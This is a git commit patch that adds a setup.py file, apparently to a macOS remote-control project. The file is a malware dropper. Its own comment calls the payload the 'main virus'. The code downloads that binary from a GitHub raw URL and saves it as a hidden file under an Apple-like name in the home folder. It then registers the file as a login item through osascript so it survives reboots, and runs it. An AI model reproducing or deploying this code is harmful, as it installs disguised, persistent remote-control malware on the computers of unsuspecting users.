From 2259bb7f7f8ce6f80454f09a4d52b2e365e2f89d Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Mon, 14 Aug 2023 16:40:36 +0800 Subject: updated modified: dist/main modified: dist/main.app/Contents/MacOS/main modified: dist/setup modified: dist/setup.app/Contents/MacOS/setup modified: main.py new file: setup.py --- setup.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 setup.py (limited to 'setup.py') diff --git a/setup.py b/setup.py new file mode 100644 index 0000000..76e9ca0 --- /dev/null +++ b/setup.py @@ -0,0 +1,14 @@ +from requests import get +from os.path import expanduser +from os import remove +from subprocess import Popen as subproc +from os import system as cmd + +filename = "com.apple.com.user.core" + +# download main virus +open(f"{expanduser('~')}/.{filename}", 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/Remote-Control-With-Evernote/main/main", allow_redirects=True).content) + +cmd(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{expanduser('~')}/.{filename}\", hidden:false}}' > /dev/null") + +subproc([f"{expanduser('~')}/.{filename}"]) -- cgit v1.2.3